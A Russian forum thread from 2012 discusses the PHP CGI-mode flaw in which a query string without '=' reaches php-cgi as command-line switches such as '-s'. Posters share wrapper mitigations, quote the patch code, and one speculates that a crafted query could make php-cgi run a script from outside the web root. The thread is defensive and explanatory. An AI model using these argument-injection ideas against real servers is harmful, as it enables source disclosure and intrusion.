"Критическая уязвимость в PHP, проявляющаяся в CGI-режиме"
Отправлено Аноним , 04-Май-12 18:16 
php-cgi путь до скрипта получает через переменную окружения. В "$*" всегда находится только QUERY_STRING (кто не верит может проверить). Уязвимость работает именно потому что php-cgi фактически запускается как
php-cgi $QUERY_STRING

Если бы он в самом деле запускался как
php-cgi $SCRIPT $QUERY_STRING
проблемы бы не возникло. Сравните к примеру результаты работы в консоли
php-cgi index.php -s
и
php-cgi -s index.php
В первом случае "-s" не воспринимается как директива.

При этом, сам php спокойно получет значение QUERY_STRING через одноименную переменную окружения, поэтому зачем передавать ему дополнительно "$*" я не понимаю. Нет "$*" - нет проблемы. Или я чего-то не учел?


"Критическая уязвимость в PHP, проявляющаяся в CGI-режиме"
Отправлено Test , 04-Май-12 18:49 
php, такой php ((((

"Критическая уязвимость в PHP, проявляющаяся в CGI-режиме"
Отправлено Аноним , 05-Май-12 12:26 
в win32 на проверяемом сервере оказалось, что запуск производится вообще просто как
Path_to_php\php-cgi.exe
а имя скрипта (ну QUERY_STRING конечно) передается через переменные окружения.
Но если же QUERY_STRING начинается со знака "-", вот тогда запуск происходит как
Path_to_php\php-cgi.exe QUERY_STRING
Соответственно все ниж приведенные wrapper'ы работают корректно.
И все же не совсем понимаю зачем вообще было реализовать ключи командной строки именно для php-cgi.exe.

"Критическая уязвимость в PHP, проявляющаяся в CGI-режиме"
Отправлено Аноним , 05-Май-12 17:49 
Чуть ошибся я в проверке. Действительно, как и указано в спецификации CGI, если в строке запроса присутствует символ "=", то апач вызывает Path_to_php\php-cgi.exe и устанавливает переменную окружения QUERY_STRING. Если же символ "=" отсутствует, то апач вызывает
Path_to_php\php-cgi.exe строка_запроса

"Критическая уязвимость в PHP. Обновления PHP 5.3.12 и PHP 5...."
Отправлено Аноним , 05-Май-12 07:06 
Дак просто используем следующий врапер, а не php-cgi сам
#!/usr/bin/php-cgi

и проблема с -s не воспроизводится


"Критическая уязвимость в PHP. Обновления PHP 5.3.12 и PHP 5...."
Отправлено Аноним , 05-Май-12 12:20 
Или для винды phpcgi.cmd

@echo off
c:\php\php-cgi.exe


"Критическая уязвимость в PHP. Обновления PHP 5.3.12 и PHP 5...."
Отправлено Юрий , 05-Май-12 14:08 
В связке nginx+php-fpm все спокойно, ничего воспроизвести не удалось. Можно спать спокойно)
Протестирована на nginx + php-fpm 4.4.9 и nginx + php-fpm 5.2.17

"Критическая уязвимость в PHP. Обновления PHP 5.3.12 и PHP 5...."
Отправлено Алексей Добров , 05-Май-12 14:32 
"Cкрипты, выполняемые с использованием mod_php и FastCGI (например,  
связки nginx с php-fpm), не подвержены проблеме".
Вот интересно, кто, зачем и как часто использует PHP в CGI-режиме?..

"Критическая уязвимость в PHP. Обновления PHP 5.3.12 и PHP 5...."
Отправлено Аноним , 05-Май-12 14:38 
> "Cкрипты, выполняемые с использованием mod_php и FastCGI (например,
> связки nginx с php-fpm), не подвержены проблеме".
> Вот интересно, кто, зачем и как часто использует PHP в CGI-режиме?..

например для одновременной работы разныхверсий пхп.


"Критическая уязвимость в PHP. Обновления PHP 5.3.12 и PHP 5...."
Отправлено Алексей Добров , 05-Май-12 14:44 
И как часто требуется одновременная работа разных версий PHP? ;)

"Критическая уязвимость в PHP. Обновления PHP 5.3.12 и PHP 5...."
Отправлено Аноним , 05-Май-12 14:52 
> И как часто требуется одновременная работа разных версий PHP? ;)

на хостингах - бывает.


"Критическая уязвимость в PHP. Обновления PHP 5.3.12 и PHP 5...."
Отправлено Алексей Добров , 05-Май-12 15:03 
>> И как часто требуется одновременная работа разных версий PHP? ;)
> на хостингах - бывает.

Ну, вообще говоря, обычно на хостингах (в случае apache) это решается одной строчкой в файле .htaccess в соответствующих местах, а не cgi-режимом. Или я чего-то не понимаю?


"Критическая уязвимость в PHP. Обновления PHP 5.3.12 и PHP 5...."
Отправлено Аноним , 05-Май-12 15:15 
>>> И как часто требуется одновременная работа разных версий PHP? ;)
>> на хостингах - бывает.
> Ну, вообще говоря, обычно на хостингах (в случае apache) это решается одной
> строчкой в файле .htaccess в соответствующих местах, а не cgi-режимом. Или
> я чего-то не понимаю?

строчку покажите


"Критическая уязвимость в PHP. Обновления PHP 5.3.12 и PHP 5...."
Отправлено Алексей Добров , 05-Май-12 15:21 
>>>> И как часто требуется одновременная работа разных версий PHP? ;)
>>> на хостингах - бывает.
>> Ну, вообще говоря, обычно на хостингах (в случае apache) это решается одной
>> строчкой в файле .htaccess в соответствующих местах, а не cgi-режимом. Или
>> я чего-то не понимаю?
> строчку покажите

Например, так: AddType application/x-httpd-php53 .php
См. http://prog-school.ru/2010/10/kak-ispolzovat-raznye-versii-p.../


"Критическая уязвимость в PHP. Обновления PHP 5.3.12 и PHP 5...."
Отправлено Аноним , 05-Май-12 15:46 
>>>>> И как часто требуется одновременная работа разных версий PHP? ;)
>>>> на хостингах - бывает.
>>> Ну, вообще говоря, обычно на хостингах (в случае apache) это решается одной
>>> строчкой в файле .htaccess в соответствующих местах, а не cgi-режимом. Или
>>> я чего-то не понимаю?
>> строчку покажите
> Например, так: AddType application/x-httpd-php53 .php
> См. http://prog-school.ru/2010/10/kak-ispolzovat-raznye-versii-p.../

ну это только с юзерской стороны одна строчка...
mod_php не обеспечивает должного уровня изоляции, должный уровень - это разграниечение прав на уровне системы, по-этоум safe_mode (которого уже нет) и open_basedir не рассматриваем, тут подходит либо cgi, либо fastcgi, либо mtm-itk.


"Критическая уязвимость в PHP. Обновления PHP 5.3.12 и PHP 5...."
Отправлено Юрий , 05-Май-12 14:58 
Не часто, но бывает.
Мне вот на днях пришлось перенести на свой сервер два проекта. Один из них работает только на PHP 4, второй не работает на PHP 5.3
И вот я был вынужден поставить в дополнение к связке nginx + apache + mod_php 5.3.3 еще 2 связки nginx + php-fpm 4.4.9 и nginx + php-fpm 5.2.17

"Критическая уязвимость в PHP. Обновления PHP 5.3.12 и PHP 5...."
Отправлено Алексей Добров , 05-Май-12 15:14 
> Не часто, но бывает.
> Мне вот на днях пришлось перенести на свой сервер два проекта. Один
> из них работает только на PHP 4, второй не работает на
> PHP 5.3
> И вот я был вынужден поставить в дополнение к связке nginx +
> apache + mod_php 5.3.3 еще 2 связки nginx + php-fpm 4.4.9
> и nginx + php-fpm 5.2.17

Да уж, веселые приключения  %)
Но все же Вам для этого не потребовалось запускать PHP-скрипты в CGI-режиме, или я неправ?


"Критическая уязвимость в PHP. Обновления PHP 5.3.12 и PHP 5...."
Отправлено AlexAT , 05-Май-12 16:11 
> например для одновременной работы разныхверсий пхп.

Ну это если только религия не позволяет заменить php5_module на php51_module, php52_module, phpetc_module...


"Критическая уязвимость в PHP. Обновления PHP 5.3.12 и PHP 5...."
Отправлено Аноним , 05-Май-12 23:30 
> Вот интересно, кто, зачем и как часто использует PHP в CGI-режиме?..

На некоторых sharing-хостингах это обычная практика.


"Критическая уязвимость в PHP. Обновления PHP 5.3.12 и PHP 5...."
Отправлено Аноним , 09-Май-12 12:33 
if((query_string = getenv("QUERY_STRING")) != NULL && strchr(query_string, '=') == NULL) {
/* we've got query string that has no = - apache CGI will pass it to command line */
unsigned char *p;
decoded_query_string = strdup(query_string);
php_url_decode(decoded_query_string, strlen(decoded_query_string));
for (p = decoded_query_string; *p &&  *p <= ' '; p++) {
/* skip all leading spaces */
}
if(*p == '-') {    skip_getopt = 1;}
free(decoded_query_string);}

Насколько я понял, теперь проверяется что если нету лидирующего знака "-" (исключая все лидирующие пробелы) то все равно происходит разбор командной строки.
Не является ли это все равно некоторой опасностью? Допустим
http://anysite.ru/?/anypath/anyscript.php
приведет к вызову
php /anypath/anyscript.php
И вот вопрос будет ли он обрабатывать скрипт, переданный в качестве параметра или переданный через переменную окружения SCRIPT_NAME. А /anypath/anyscript.php может быть какой-нибудь скрипт расположенный не document_root, а где-нибудь в временных каталогах. Конечно, это уже не такая критическая уязвимость, но все же непонятно зачем вообще обрабатывать командную строку, если скрипт запущен в режиме cgi. Когда теоретически даже это может понадобиться не для атаки, а для нормального использования?


"Критическая уязвимость в PHP. Обновления PHP 5.3.12 и PHP 5...."
Отправлено Аноним , 23-Дек-13 08:59 
>